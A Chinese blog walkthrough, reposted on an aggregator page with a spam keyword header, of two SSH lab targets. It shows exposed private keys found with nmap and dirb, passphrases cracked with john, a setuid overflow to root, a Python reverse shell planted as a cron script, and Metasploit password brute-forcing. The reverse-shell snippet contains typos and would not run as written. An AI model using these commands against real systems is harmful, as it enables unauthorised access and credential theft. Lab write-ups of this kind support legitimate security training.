日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

SSH服务的渗透测试

發布時間:2024/9/30 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SSH服务的渗透测试 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

一,ssh私鑰泄露

充電站:

二,ssh 服務測試(暴力破解)

充電站:


一,ssh私鑰泄露

靶場:192.168.11.166

1,信息嗅探

對于一個給定的ip得知的靶場機器,我們需要用對其進行掃描,探測開放的服務。(滲透其實是針對服務的漏洞進行探測,然后對應的數據包發送,獲取機器的最高權限)

nmap -sV 192.168.11.166 //挖掘開放服務信息

看到一個開放的一個特殊的端口31337

2,分析探測結果

每個服務對應著不同的端口,用來進行通信。常用的端口為 0~1023,在掃描結果中尤其注意那些特殊的端口

針對特殊的端口進行探測,尤其對開發的大端口的http服務進行排查;

?

瀏覽器訪問?192.168.11.166:31337, 是空白頁 ,查看頁面源代碼,沒有flag信息

?

進一步探測,端口下的隱藏文件

dirb http://192.168.11.166:31337/ //探測隱藏文件

有收獲

打開robots.txt:

打開 taxes文件 ,發現flag1

打開 .ssh文件:

ssh服務,通過ssh服務客戶端可以遠程登錄到服務端,實現遠程操作,

打開? http://192.168.11.166:31337/.ssh/id_rsa? ? ? ? ? 發現可以下載私鑰 id_rsa

http://192.168.11.166:31337/.ssh/authorized_keys? ? ?下載 認證關鍵字文件

為方便操作 將這兩個文件移動到桌面上

3,利用私鑰文件登錄靶場

首先 把私鑰文件的權限改為? 600

chmod 600 id_rsa

打開 認證字關鍵字文件?authorized_keys? 找用戶名,用戶名為 simon

利用私鑰文件登錄:

ssh -i id_rsa simon@192.168.11.166

讓輸入密碼:

4,解密 ssh秘鑰信息

先使用 ssh2john 將id_rsa秘鑰信息轉換為john可以識別的信息:

ssh2john id_rsa > rsacrackbash: ssh2john 命令未找到root@kali:~# locate ssh2john //找ssh2john 文件路徑 /usr/share/john/ssh2john.pypython /usr/share/john/ssh2john.py id_rsa > rsacrack

利用字典解密rsacrack 的信息

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

找到密碼為 starwars

登錄 :

ssh -i id_rsa simon@192.168.11.166

4,深入探測 根目錄

切換到根目錄,發現了兩個文件,訪問flag.txt文件時,發現需要root權限,

查看具有root權限的文件

find / -perm -4000 2>/dev/null后面的 2>dev/null 是避免在查詢中出錯的

?

訪問read_message文件

發現喲端倪:看到了第二個 flag2

大致意思: 如果輸入的 字符串 的前五個字符 跟 Simon 相同的 就執行?

execve(program,null,null) 執行 usr/local/sbin/message

輸入Simonaaaaaa 后給了一些提示

?

5. 提升權限

那溢出之后 會不會執行我們溢出后的命令呢??

試一下:輸入 Simonaaaaaaaaaaaaaaa/bin/sh? 使程序溢出,從而執行跳轉到/bin/sh下

我們真的提升了權限,成為了root權限

然后打開flag.txt文件 得到 flag3:

?

充電站:

1,nmap 的常用的幾個命令:

獲取遠程主機的系統類型及開放端口

nmap -sS -P0 -sV -O <target>

這里的 < target > 可以是單一 IP, 或主機名,或域名,或子網

-sS TCP SYN 掃描 (又稱半開放,或隱身掃描)
-P0 允許你關閉 ICMP pings.
-sV 打開系統版本檢測
-O 嘗試識別遠程操作系統

其它選項:

-A 同時打開操作系統指紋和版本檢測
-v 詳細輸出掃描情況.

一般使用,進行探測:

nmap -sV IP

?在網絡尋找所有在線主機

nmap -sP 192.168.0.*

或者也可用以下命令:

nmap -sP 192.168.0.0/24

2,什么是ssh? 認證原理?登錄方式?

什么是ssh?

SSH 是目前較可靠,專為遠程登錄會話和其他網絡服務提供安全性的協議。利用 SSH 協議可以有效防止遠程管理過程中的信息泄露問題

認證原理?

認證開始后會有一個設定好的順序例如publickey,gssapi-keyex,gssapi-with-mic,password?首先用publickey的方式即秘鑰認證,如果秘鑰認證通過的話將不進行使用密碼的口令認證,如果秘鑰認證失敗則使用口令認證。

我們如果想要免去用戶名密碼登陸可以使用秘鑰認證的方式。

登錄方式:

1,賬號+ 口令

如果是第一次登錄對方主機,這段話的意思是,無法確認host主機的真實性,只知道它的公鑰指紋,問你還想繼續連接嗎?

 $ ssh user@hostThe authenticity of host 'host (12.18.429.21)' can't be established.RSA key fingerprint is 98:2e:d7:e0:de:9f:ac:67:28:c2:42:2d:37:16:58:4d.Are you sure you want to continue connecting (yes/no)? yes

然后,會要求輸入口令。(這里要求輸入的口令實際上是使用私鑰的口令,并不是登錄的口令)

  Password: (enter password):如果口令正確,就可以登錄了。

2,公鑰 + 私鑰

使用公鑰登錄

使用密碼登錄,每次都必須輸入密碼,非常麻煩。好在SSH還提供了公鑰登錄,可以省去輸入密碼的步驟。

所謂"公鑰登錄",原理很簡單,就是用戶將自己的公鑰儲存在遠程主機上。登錄的時候,遠程主機會向用戶發送一段隨機字符串,用戶用自己的私鑰加密后,再發回來。遠程主機用事先儲存的公鑰進行解密,如果成功,就證明用戶是可信的,直接允許登錄shell,不再要求密碼。

這種方法要求用戶必須提供自己的公鑰。

使用私鑰登錄(需要輸入 密碼,不過密碼可以用 john將?私鑰中的密碼解密出來)

ssh -i id_rsa user@hostEnter passphrase for key 'id_rsa': 密碼正確就能登錄成功使用 zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack 爆破出私鑰中密碼

3,dirb命令

dirb是一個類似windows下御劍這些目錄掃描工具,

dirb ip 字典路徑

一般不需要指定字典,會使用默認字典,我們也自定義字典

默認字典路徑/usr/share/dirb/wordlists/indexes.txtwordlists 目錄下還有好幾個字典可以使用

除此之外還要一款kali自帶的目錄掃描工具

DirBuster
DirBuster是一個多線程java應用程序,旨在強制Web /應用程序服務器上的目錄和文件名。DirBuster總共有9個不同的列表; 這使得DirBuster在查找隱藏文件和目錄方面非常有效。

同樣打開終端并鍵入Dirbuster,然后輸入目標URL,如下圖所示,并瀏覽/ usr / share / dirbuster / wordlis / directory-list-2-3-medium.txt進行暴力攻擊。

4,zcat命令

zcat命令用于不真正解壓縮文件,就能顯示壓縮包中文件的內容的場合。

-S:指定gzip格式的壓縮包的后綴。當后綴不是標準壓縮包后綴時使用此選項; -c:將文件內容寫到標注輸出; -d:執行解壓縮操作; -l:顯示壓縮包中文件的列表; -L:顯示軟件許可信息; -q:禁用警告信息; -r:在目錄上執行遞歸操作; -t:測試壓縮文件的完整性; -V:顯示指令的版本信息; -l:更快的壓縮速度; -9:更高的壓縮比。

本題中使用到的命令:

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

5,john常用命令? ?(保存字典的目錄: /usr/share/john/)

John the Ripper免費的開源軟件,是一個快速的密碼破解工具,用于在已知密文的情況下嘗試破解出明文的破解密碼軟件,支持目前大多數的加密算法,如DES、MD4、MD5等。它支持多種不同類型的系統架構,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不夠牢固的Unix/Linux系統密碼。

? ? ? ?1,破解shadow文件(shadow文件用于儲存linux中加密后的密碼)

john shadow 也可以指定 字典john --wordlist=/usr/share/john/password.lst shadow

? ? ? ? 2, 提取ssh 私鑰里面的密碼:

先將文件轉換為 john可以執行的文件

python /usr/share/john/ssh2john.py id_rsa > rsacrack zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

? ? ? ? ?3,keepass2數據庫密碼

先將加密文件轉為john可以執行的文件

python /usr/share/john/keeppass2john.py newdb.kdb > crack zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack

? ? ? ? ? 4, rar 提取密碼

先將加密文件轉為john可以執行的文件

python /usr/share/john/rar2john.py encrypted.rar > crack zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack

?

二,ssh 服務測試(暴力破解)

?

探測靶場開放的服務于服務的版本:

nmap -sV 192.168.1.106

用瀏覽器訪問 192.168.1.106:看到了一個疑似ssh用戶名的 username: martin

以及另外的幾個人名:hadi 、jimmy

使用dirb進行目錄探測:

dirb http://192.168.1.106

找了幾個目錄文件,訪問 icons 目錄:看到一個奇怪名字的文件,打開發現是ssh的私鑰

保存martin用戶的ssh私鑰

wget "http://192.168.1.106/icons/VDSoyuAXiO.txt"重命名mv VDSoyuAXiO.txt id_rsa

將私鑰文件的權限修改為 600:

chmod 600 id_rsa

登錄靶場:

ssh -i id_rsa martin@192.168.1.106

成功登入(這里沒有要密碼,隨后解釋)

查看有哪些用戶名:發現有 hadi 、jimmy、martin

查看當前用戶權限:

可以看到不是root權限

我的習慣是先去找flag文件,如果打不開再去提權、

我們切換到/root 目錄下看看,ls -al 發現了flag.txt文件,但沒有權限,打不開

接下來的工作就是提權了

首先查看一下 當前用戶是否有定時執行的文件:

最后一條,是用戶 jummy 設定的定時執行 sekurity.py 文件的定時 任務

切換到 他指定的目錄,發現并沒有 sekurity.py 文件,

我們可以創建一個 反彈shell 文件,從而提升到root權限:

#!/usr/bin/pythonimport os,subprodess,sockets = socket.socekt(socker.AF_INET,socker.SOCK_STREAM)s.connect("192.168.1.106","4445")os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p = subprocess.call(["/bin/sh","-i"])

把文件名改為?sekurity.py??

等待該文件自動被執行

查看監聽端口的情況,發現 反彈shell代碼已經被執行了:

可以看到 jimmy 用戶 也是沒有root權限的

所以不能 直接 用? su - root 進行提權

?

既然前兩個用戶都沒有 root 權限,那第三個用戶大概率有root權限

?

接下來,致力于破解第三個用戶 hadi 的口令

使用metasploit 破解SSH

啟動:

msfconsole

啟動 ssh_login模塊:

use auxiliary/scanner/ssh/ssh_login show options

設置參數:

set rhosts 192.168.1.106set username hadiset pass_file /root/download/common-password/hadi.txt //設置字典set thread 10show optionsrun

最終破解出口令是: hadi123

登錄;

優化命令終端:

python -c "import pty; pty.spawn('/bin/bash')"

具有roo權限,可以提權為root

su - root輸入密碼: hadi123

讀取 /root/flag.txt 文件得到flag:

充電站:

1,為什么用ssh的秘鑰登錄時有時候需要輸入口令,有時候不需要輸入口令?

這是因為用戶在創建私鑰的時候,為保證私鑰的安全,對私鑰設置了口令,輸入的口令實際上是私鑰的口令,

ssh默認是使用用戶本地的 ~/.ssh/id_rsa 這個秘鑰(私鑰)登錄的,

我們可以使用 -i? 來指定秘鑰進行登錄

更詳細的 SSH的登錄方式,看我總結的另一篇博文:

2,metasploit工具:

簡單介紹一下 metasploit工具:

Metasploit是一款開源的安全漏洞檢測工具,可以幫助安全和IT專業人士識別安全性問題,驗證漏洞的緩解措施,并管理專家驅動的安全性進行評估,提供真正的安全風險情報。這些功能包括智能開發,代碼審計,Web應用程序掃描,社會工程。團隊合作,在Metasploit和綜合報告提出了他們的發現。

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

與50位技術專家面對面20年技術見證,附贈技術全景圖

總結

以上是生活随笔為你收集整理的SSH服务的渗透测试的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。